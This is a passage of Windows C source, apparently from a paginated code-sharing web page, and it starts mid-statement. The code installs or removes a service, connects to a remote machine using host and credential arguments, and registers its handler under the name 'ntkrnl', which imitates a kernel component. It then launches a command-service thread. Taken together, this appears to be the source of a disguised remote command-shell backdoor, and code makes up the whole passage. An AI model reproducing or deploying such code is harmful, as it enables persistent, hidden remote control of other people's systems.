argv[4])==FALSE) { return -1; }
if(!stricmp(argv[1],"-install")) { InstallCmdService(argv[2]); } else if(!stricmp(argv[1],"-remove")) { RemoveCmdService(argv[2]); }
if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE) { return -1; } return 0; } else if(argc==2) { if(!stricmp(argv[1],"-install")) { InstallCmdService(NULL); } else if(!stricmp(argv[1],"-remove")) { RemoveCmdService(NULL); } else { Start(); Usage(); } return 0; }
StartServiceCtrlDispatcher(DispatchTable);
return 0; }
void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv) { HANDLE hThread;
ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl); if(ServiceStatusHandle==0) { OutputDebugString("RegisterServiceCtrlHandler Error !\n"); return ; }
ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) { OutputDebugString("SetServiceStatus in CmdStart Error !\n"); return ; }
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); if(hThread==NULL) { OutputDebugString("CreateThread in CmdStart Error !\n"); }
return ; } 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |